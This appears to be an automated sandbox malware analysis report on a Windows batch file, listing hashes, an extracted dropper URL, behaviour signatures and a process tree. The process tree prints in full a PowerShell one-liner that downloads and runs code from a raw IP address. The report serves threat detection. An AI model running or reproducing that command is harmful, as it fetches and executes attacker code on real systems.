Resubmissions

04-08-2020 12:19

200804-mtj74qqgb2 10

02-08-2020 19:10

200802-qs8g5ktr62 10

Analysis

  • max time kernel
    147s
  • max time network
    95s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    02-08-2020 19:10

General

  • Target

    21b6d26f5616dbe4b9f07bd5660bb62d.bat

  • Size

    215B

  • MD5

    d0dba6d8db0dbf8637507b05349fd02f

  • SHA1

    e3795cff8728780bd8d72ae5f7e317ee93075e93

  • SHA256

    085cf732d404c2443d63dd7fef9f872f0c4dc0ef5f0c048bd308a20aff169bd8

  • SHA512

    de33e169bfaf0170acb3053f62d40e115e162671c77555e7c0bae5e12579f7900f1172296279167f120a3821566ee8b111e5e2e366711bf0d5fde9e5e3340b7f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/21b6d26f5616dbe4b9f07bd5660bb62d

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21b6d26f5616dbe4b9f07bd5660bb62d.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4036
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/21b6d26f5616dbe4b9f07bd5660bb62d');Invoke-NWPLCMRG;Start-Sleep -s 10000"
      2⤵
        PID:3900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 708
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:592

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/592-1-0x00000000048F0000-0x00000000048F1000-memory.dmp

      Filesize

      4KB

    • memory/592-8-0x0000000004F20000-0x0000000004F21000-memory.dmp

      Filesize

      4KB

    • memory/3900-0-0x0000000000000000-mapping.dmp

    • memory/3900-2-0x0000000000000000-mapping.dmp

    • memory/3900-3-0x0000000000000000-mapping.dmp

    • memory/3900-4-0x0000000000000000-mapping.dmp

    • memory/3900-5-0x0000000000000000-mapping.dmp

    • memory/3900-6-0x0000000000000000-mapping.dmp

    • memory/3900-7-0x0000000000000000-mapping.dmp